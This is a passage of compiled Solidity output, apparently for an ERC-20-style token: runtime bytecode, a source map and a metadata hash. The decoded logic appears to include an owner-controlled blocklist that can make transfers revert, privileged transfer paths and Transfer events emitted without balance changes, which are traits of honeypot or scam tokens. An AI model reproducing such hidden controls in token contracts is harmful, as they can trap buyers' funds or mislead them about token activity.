fffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3691906115fa565b60405180910390a360019050611108565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fa957600160065414610fa857600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ff457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611042919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109791906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110fb91906115fa565b60405180910390a3600190505b92915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116857600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124157600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661129757600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461134c57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113a357600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561143757808201518184015260208101905061141c565b60008484015250505050565b6000601f19601f8301169050919050565b600061145f826113fd565b6114698185611408565b9350611479818560208601611419565b61148281611443565b840191505092915050565b600060208201905081810360008301526114a78184611454565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114df826114b4565b9050919050565b6114ef816114d4565b81146114fa57600080fd5b50565b60008135905061150c816114e6565b92915050565b6000819050919050565b61152581611512565b811461153057600080fd5b50565b6000813590506115428161151c565b92915050565b6000806040838503121561155f5761155e6114af565b5b600061156d858286016114fd565b925050602061157e85828601611533565b9150509250929050565b60008115159050919050565b61159d81611588565b82525050565b60006020820190506115b86000830184611594565b92915050565b6000602082840312156115d4576115d36114af565b5b60006115e2848285016114fd565b91505092915050565b6115f481611512565b82525050565b600060208201905061160f60008301846115eb565b92915050565b60008060006060848603121561162e5761162d6114af565b5b600061163c868287016114fd565b935050602061164d868287016114fd565b925050604061165e86828701611533565b9150509250925092565b600060ff82169050919050565b61167e81611668565b82525050565b60006020820190506116996000830184611675565b92915050565b600080604083850312156116b6576116b56114af565b5b60006116c4858286016114fd565b92505060206116d5858286016114fd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172657607f821691505b602082108103611739576117386116df565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061177982611512565b915061178483611512565b925082820390508181111561179c5761179b61173f565b5b92915050565b60006117ad82611512565b91506117b883611512565b92508282019050808211156117d0576117cf61173f565b5b9291505056fea264697066735822122067dc50e0437b6792eaaa51b27a375621e1e3fb82ca0c320ae072290c8bfa6a5e64736f6c63430008110033

1535:3337:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1663:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3501:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1563:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3717:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1780:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4169:696;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1853:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1747:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2268:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3113:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1704:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4069:83;;;:::i;:::-;;2541:558;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3849:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3424:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3973:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3224:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1663:34;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3501:211::-;3566:12;3628:5;3595:9;:21;3605:10;3595:21;;;;;;;;;;;;;;;:30;3617:7;3595:30;;;;;;;;;;;;;;;:38;;;;3672:7;3651:36;;3660:10;3651:36;;;3681:5;3651:36;;;;;;:::i;:::-;;;;;;;;3705:4;3698:11;;3501:211;;;;:::o;1563:41::-;;;;;;;;;;;;;;;;;:::o;3717:122::-;3777:12;2462:5;;;;;;;;;;;2448:19;;:10;:19;;;2440:28;;;;;;3813:1:::1;3802:5;:8:::0;3808:1:::1;3802:8;;;;;;;;;;;;;;;:12;;;;3832:4;3825:11;;3717:122:::0;;;;:::o;1780:66::-;;;;:::o;4169:696::-;4248:12;4287:6;;;;;;;;;;;4279:14;;:4;:14;;;4276:250;;4324:5;:11;4330:4;4324:11;;;;;;;;;;;;;;;;4315:5;:20;;4307:29;;;;;;4364:9;:15;4374:4;4364:15;;;;;;;;;;;;;;;:27;4380:10;4364:27;;;;;;;;;;;;;;;;4355:5;:36;;4347:45;;;;;;4418:5;4403;:11;4409:4;4403:11;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4449:5;4436;:9;4442:2;4436:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;4491:2;4471:30;;4481:8;;;;;;;;;;;4471:30;;;4495:5;4471:30;;;;;;:::i;:::-;;;;;;;;4519:4;4512:11;;;;4276:250;4543:4;:10;4548:4;4543:10;;;;;;;;;;;;;;;;;;;;;;;;;:22;;;;4557:4;:8;4562:2;4557:8;;;;;;;;;;;;;;;;;;;;;;;;;4543:22;4540:57;;;4593:1;4586:3;;:8;4578:17;;;;;;4540:57;4624:5;:11;4630:4;4624:11;;;;;;;;;;;;;;;;4615:5;:20;;4607:29;;;;;;4664:9;:15;4674:4;4664:15;;;;;;;;;;;;;;;:27;4680:10;4664:27;;;;;;;;;;;;;;;;4655:5;:36;;4647:45;;;;;;4718:5;4703;:11;4709:4;4703:11;;;;;;;;;;;;;;;;:20;;;;;;;:::i;:::-;;;;;;;;4747:5;4734;:9;4740:2;4734:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;4794:5;4763:9;:15;4773:4;4763:15;;;;;;;;;;;;;;;:27;4779:10;4763:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;4830:2;4815:25;;4824:4;4815:25;;;4834:5;4815:25;;;;;;:::i;:::-;;;;;;;;4858:4;4851:11;;4169:696;;;;;;:::o;1853:19::-;;;;:::o;1747:26::-;;;;;;;;;;;;;:::o;2268:143::-;2353:5;;;;;;;;;;;2339:19;;:10;:19;;;2331:28;;;;;;2392:7;2371:37;;2388:1;2371:37;;;2401:6;2371:37;;;;;;:::i;:::-;;;;;;;;2268:143;;:::o;3113:101::-;3170:7;3197:5;:14;3203:7;3197:14;;;;;;;;;;;;;;;;3190:21;;3113:101;;;:::o;1704:36::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4069:83::-;2520:1;2514:3;:7;;;;4134:5:::1;;;;;;;;;;;4120:19;;:10;:19;;;4112:28;;;::::0;::::1;;4069:83::o:0;2541:558::-;2602:12;2646:6;;;;;;;;;;;2632:20;;:10;:20;;;2629:212;;2695:5;2674;:17;2680:10;2674:17;;;;;;;;;;;;;;;;:26;;2666:35;;;;;;2733:5;2712;:17;2718:10;2712:17;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;2764:5;2751;:9;2757:2;2751:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;2806:2;2786:30;;2796:8;;;;;;;;;;;2786:30;;;2810:5;2786:30;;;;;;:::i;:::-;;;;;;;;2834:4;2827:11;;;;2629:212;2855:4;:16;2860:10;2855:16;;;;;;;;;;;;;;;;;;;;;;;;;2852:51;;;2899:1;2892:3;;:8;2884:17;;;;;;2852:51;2943:5;2922;:17;2928:10;2922:17;;;;;;;;;;;;;;;;:26;;2914:35;;;;;;2981:5;2960;:17;2966:10;2960:17;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;3012:5;2999;:9;3005:2;2999:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;3064:2;3043:31;;3052:10;3043:31;;;3068:5;3043:31;;;;;;:::i;:::-;;;;;;;;3092:4;3085:11;;2541:558;;;;;:::o;3849:104::-;3920:5;;;;;;;;;;;3906:19;;:10;:19;;;3898:28;;;;;;3947:4;3937;:7;3942:1;3937:7;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3849:104;:::o;3424:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3973:91::-;2462:5;;;;;;;;;;;2448:19;;:10;:19;;;2440:28;;;;;;4027:4:::1;:7;4032:1;4027:7;;;;;;;;;;;;;;;;;;;;;;;;;4019:16;;;::::0;::::1;;4056:5;4046:4;:7;4051:1;4046:7;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;3973:91:::0;:::o;3224:98::-;2462:5;;;;;;;;;;;2448:19;;:10;:19;;;2440:28;;;;;;3287:4:::1;:7;3292:1;3287:7;;;;;;;;;;;;;;;;;;;;;;;;;3286:8;3278:17;;;::::0;::::1;;3316:4;3306::::0;:7:::1;3311:1;3306:7;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3224:98:::0;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:194;6406:4;6426:20;6444:1;6426:20;:::i;:::-;6421:25;;6460:20;6478:1;6460:20;:::i;:::-;6455:25;;6504:1;6501;6497:9;6489:17;;6528:1;6522:4;6519:11;6516:37;;;6533:18;;:::i;:::-;6516:37;6366:194;;;;:::o;6566:191::-;6606:3;6625:20;6643:1;6625:20;:::i;:::-;6620:25;;6659:20;6677:1;6659:20;:::i;:::-;6654:25;;6702:1;6699;6695:9;6688:16;;6723:3;6720:1;6717:10;6714:36;;;6730:18;;:::i;:::-;6714:36;6566:191;;;;:::o

ipfs://67dc50e0437b6792eaaa51b27a375621e1e3fb82ca0c320ae072290c8bfa6a5e